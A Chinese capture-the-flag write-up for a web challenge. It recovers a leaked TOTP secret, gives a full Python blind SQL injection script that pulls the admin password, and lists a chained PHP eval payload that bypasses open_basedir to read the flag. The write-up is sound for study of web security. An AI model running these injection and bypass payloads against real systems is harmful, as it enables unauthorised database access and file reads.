既然是前端发送验证请求,那就应该存在发送的ajax请求包。重点在开发者nodets和请求形式。它提示我们后端用了pyotp.zip的库去验证,而且在请求形式中把secret_key给了我们:GAXG24JTMZXGKZBU

image_1dhfn9snj1dtme3d11eea3nm2v13.png-165.3kB

队内师傅提醒说,python3的pyotp模块也可以根据key生成验证
image_1dhfniaosich1f5b1ptm1jk8t4s1g.png-140.6kB

赛后看到天枢的师傅用xhr发送请求,即前端爆破就可以直接调用topt函数,也是种不错的思路,学习了。

接着就是一个简单的注入

注入

脚本如下,空格会导致程序判断为参数分隔符,所以用/**/替代

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import pyotp as pyotp
import string

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)


def curl(payload):
    r = requests.post('http://222.85.25.41:8090/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
                      data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})
    if 'password' in r.text:
        return True
    else:
        return False


def sqli():
    for i in range(0, 2):
        # db_data = "SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=\'giftbox\'/**/LIMIT/**/{},1".format(
        #     i)
        # db_data = "SELECT/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema=\'giftbox\'/**/and/**/table_name=\'users\'/**/LIMIT/**/{},1".format(
        #     i)
        db_data = "select/**/password/**/from/**/giftbox.users/**/where/**/username/**/=/**/'admin'/**/limit/**/{},1".format(
            i)
        db_res = ""

        for y in range(1, 64):
            for c in string.printable:
                db_res_payload = "substr((" + db_data + "),%d,1)/**/=/**/'%s'" % (y,c)
                if curl(db_res_payload):
                    db_res += c
                    print("> " + db_res)
                    break
                else:pass
            if db_res == "":
                break


if __name__ == '__main__':
    sqli()

最后注入password字段得到一个hint为hinT{g1ve_u_hi33en_c0mm3nd-sh0w_hiiintttt_23333},登陆成功同时提示

image_1dhi8qiij18ve18991q95u1skfb1m.png-86kB

Bypass open_dir

同时题目存在targeting命令,具体用法如下。结合之前的提示,推测是对每一个target进行一次eval的操作,因为targeting不允许存在双引号,所以用复杂变量${xxx(xxx)}的形式代替

image_1dhic3q29as9fln24sr29vts9.png-411.3kB

但是没有执行到system(whoami),推测是有open_dir,用网上的方法bypass:从PHP底层看open_basedir bypass

最后的payload如下,因为有长度限制,进行变量拼接

targeting a chdir
targeting b css
targeting c {$a($b)}
targeting d ini_set
targeting e open_basedir
targeting f ..
targeting g {$d($e,$f)}
targeting h {$a($f)}
targeting i {$a($f)}
targeting j base64_
targeting k decode
targeting l $j$k
targeting m Ly8v
targeting n {$l($m)}
targeting o {$d($e,$n)}
targeting p print_r
targeting q file_get_
targeting r contents
targeting s $q$r
targeting t flag
targeting u {$p($s($t))}
launch

image_1dhiec48lrbmsku1m3eu9pbjm2p.png-128.9kB

再次膜恩泽师傅..

not found!